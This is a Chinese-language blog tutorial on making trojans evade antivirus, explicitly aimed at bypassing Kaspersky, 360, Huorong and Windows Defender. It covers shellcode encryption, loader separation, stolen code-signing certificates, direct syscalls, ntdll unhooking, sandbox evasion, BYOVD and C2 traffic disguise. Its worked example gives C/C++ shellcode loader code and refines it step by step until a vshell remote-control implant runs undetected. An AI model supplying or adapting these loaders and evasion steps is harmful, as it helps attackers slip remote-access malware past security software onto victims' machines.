从0到1的木马免杀之旅(过卡巴)

目录

  1. 静态免杀篇
  2. 动态免杀篇
  3. 流量混淆篇
  4. 免杀实战案例(一步步带你从0过卡巴)
  5. 结语

静态免杀篇

静态查杀原理

想要了解如何进行静态免杀,首先就得了解杀毒软件一般是如何查杀木马的,下面我列出常见的几种检测方式:

  • 特征码比对 :杀软会在云端或本地存储大量的病毒库,当一个木马被杀软扫描时,会将木马的某些特征片段进行hash运算,与病毒库进行比较,如果木马多个片段与病毒库比对成功,该木马就会被查杀。
  • 静态启发式分析:杀软会直接分析木马的PE结构,对各种区段,例如资源,导入函数等进行分析,如果存在多个可疑的点,该木马就会被查杀

近些年因为AI爆火,很多杀软都会加入AI进行木马分析,但是分析的原理也无非是上面两种(可能有新技术但大差不差)

静态免杀思路

根据上面的原理,我们针对木马的静态免杀思路也就很明了了,我们只需要打破杀软所认定是木马的特征,就能很轻松的过静态免杀。

现在单纯只用下面某个思路去免杀,很难有好的效果,由于现在的杀软都用多种检测方式同时检测。我们希望免杀简单点,可以结合下面的多种思路同时运用进行免杀

一,对shellcode进行编码/加密

主要是过特征码比对,目的是消除shellocde中的木马特征。

这里经过实践,某些加密很难取得好的效果,比如说简单的xor加密,奇偶换位等

解决方法:

  1. 使用强加密比如AES,RSA等,或多种密码混合使用。
  2. 使用奇怪的编码,比如说将shellocde编码成ip,uuid,或者有某些ctf中的杂项编码佛曰等等(这个可以一定程度上骗过ai)

二,对shellocde中加上自解密壳

主要是过特征码比对,目的是消除shellocde中的木马特征。(某些情况下可能比直接在loader中写解密效果要好)

三,分离免杀

把shellcode和loader分开,进行加载(网络加载/文件加载/隐写),这个在免杀中的效果是真的好。

原理:如果把shellcode放在loader中一起编译,大概率会报毒(杀软的静态启发式查杀会检查到data段中有一大段不正常数据,专业点叫信息熵太高了)

四,变换shellcode

反编译shellcode替换某些指令,加上某些花指令等等。例如:

asm 复制代码
替换同义指令
xor eax, eax => mov eax, 0x0

更改指令顺序
push eax
push ebx
...
pop ebx
pop eax
------------------
push ebx
push eax
...
pop eax
pop ebx

添加花指令
jnz label
jz label
emit 0xe8
label:

五,替换资源

静态启发式分析中会分析区段内容,添加或窃取一些资源可以让杀软认为这是一个普通的程序

工具: restorator

六,添加证书

某些杀软,比如说360,对于证书来说非常看重,一般检测到某些合规白名单证书会放宽检测,我们可以通过窃取证书来瞒天过海

工具链接: https://github.com/secretsquirrel/SigThief

七,更换编译器或配置

某些编译器编译出来的比较容易被杀,比如说msvc,可以换成clang或llvm等等,编译器的优化参数也会有影响(可能把你混淆的代码给优化了)

八,更换语言

不同语言的免杀效果也会大不相同,比如说同样的逻辑,在c中被杀和在rush中免杀

九,对代码进行混淆

可以使用开源库如Obfuscator-LLVM等,对代码进行混淆,膨胀保护

十,更换一些api/动态导入api

杀软会检查导入表的某些api进行静态查杀

这里我用mfc做了一个免杀工具,工具完全开源,可以学习到PE结构和自解密壳的原理

链接: https://github.com/NOOB-P/My_re_tools

动态免杀篇

动态查杀原理

动态查杀一般是杀软的最后一道防线,杀软会主动检测并拦截运行中的木马的恶意行为,要绕过检测,就需要了解杀软在运行中是如何检测木马的。

  • hook 关键api: 以windows为例,杀软会hook windows中的相关api,例如创建进程,读取文件,打开文件等,通过监测其中的函数调用链,和传入的参数,来判断木马的恶意行为
  • 内核回调: windows会提供某些回调,用于监听系统的某些行为,比如说创建进程等
  • 扫描内存: 杀软会扫描内存区域(主要扫描可执行的区域),来匹配病毒特征
  • 行为沙箱: 杀软会在沙箱中运行你的木马远控,来监测外联网络ip,修改注册表等可疑行为

动态免杀思路

反hook思路

  1. 地狱之门: 通过直接调用系统调用 syscall 绕过杀软对 ntdll.dll 的监控
  2. 修补ntdll.dll:通过读取磁盘中的ntdll.dll来修补内存中被hook的ntdll.dll
  3. ...

反沙箱

  1. sleep延时(可能被hook或加速)
  2. 利用网上时间延时
  3. 设置某个启动条件,例如当前路径存在某个文件夹时启动
  4. 监测沙箱的特征(软件,进程,注册表,服务等)
  5. ...

内存扫描绕过

  1. 修改内存中的某些敏感特征(静态免杀中,直接shellcode指令替换可以达到内存扫描绕过的特点)
  2. 用循环定期修改木马可执行区域的权限,或睡眠加密
  3. ...

内核回调绕过(一般都需要内核操作)

  1. 强制摘除内核回调
  2. BYOVD驱动利用(例如前段时间,百度杀毒驱动的任意文件删除漏洞)
  3. 句柄降权
  4. ...

其他绕过方法

  1. 注入白名单进程(进程池注入PoolParty项目)
  2. 手动加载PE文件
  3. 白加黑dll劫持
  4. 二开c2
  5. ...

流量混淆篇

网上这些公开的c2例如cs等,多多少少都带有某些特定的流量特征,edr杀软会监测这些流量。

绕过的方法也十分的简单,我们只需要模拟正常访问网站的流量就可以(特殊情况可以复制些白名单软件的流量)

免杀实战案例

下面是一个静态免杀案例,使用上面的免杀思路,一步步带你从被杀到免杀

案例环境

远控:vshell

代码编辑器:vs2022

虚拟机:kali 用于部署c2服务器

多台虚拟机:windows10系统(装有<火绒,360,卡巴斯基(优选版),windows defender>)

编译器:MSVC,Clang++

1.先让木马跑起来

先关闭杀软,看看木马是否能正常上线,我这边能正常上线,代码如下

c 复制代码
#include <iostream>
#include "stdio.h"
#include "Windows.h"
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

unsigned char shellcode[] = "...";

void main() {
    LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, shellcode, sizeof(shellcode));
    ((void(*)())Memory)();
}

打开杀软后,全部都没过

2。加入分离免杀(shellcode未加密)

将shellcode以二进制格式保存到abc.bin文件中

c 复制代码
#include <iostream>
#include <fstream>
#include "stdio.h"
#include "Windows.h"
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

void main() {
    //读取shellcode
	std::fstream file("./abc.bin", std::ios::in | std::ios::out | std::ios::binary);
    if(!file.is_open()) {
        return;
	}
    file.seekg(0, std::ios::end);
    int size = file.tellg();
    file.seekg(0, std::ios::beg);
	char* shellcode = new char[size];
    file.read(shellcode, size);

    //运行shellcode
    LPVOID Memory = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, shellcode, size);
    ((void(*)())Memory)();
}

运行效果图

结果非常的出乎意料,没有做任何的加密编码,360,df,火绒直接gg,但幸运的是卡巴斯基虽然静态扫不出来,但是动态查杀直接将它拦截了

接下来我们只需要继续修改我们的木马,让它过卡巴斯基

3. 为文件的shellcode添加自解密壳

这里我用的是我自己写的工具,具体github的链接参考上面

4. 更换下函数,修改loader

c 复制代码
#include <iostream>
#include <fstream>
#include "stdio.h"
#include "Windows.h"
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

void main() {
    //读取shellcode
    std::fstream file("./abc.bin", std::ios::in | std::ios::out | std::ios::binary);
    if (!file.is_open()) {
        return;
    }
    file.seekg(0, std::ios::end);
    int size = file.tellg();
    file.seekg(0, std::ios::beg);
    char* shellcode = new char[size];
    file.read(shellcode, size);

    //运行shellcode
    DWORD old;
	VirtualProtect(shellcode, size, PAGE_EXECUTE_READWRITE, &old);
    ((void(*)(double, double))shellcode)(1.256, 2.348);
}

{EABA5216-0A91-4123-9326-480CB122C62A}.png

非常的amazing啊,卡巴斯基(优选版)轻松免杀

结语

方法千千万,只要知道思路,奇妙的方法就只是锦上添花

通过上面的案例,我们发现,其实只要方法找对,随便改改就能够免杀,你上你也行。

如果❤喜欢❤本教程,就点个关注吧,后续不定期更新~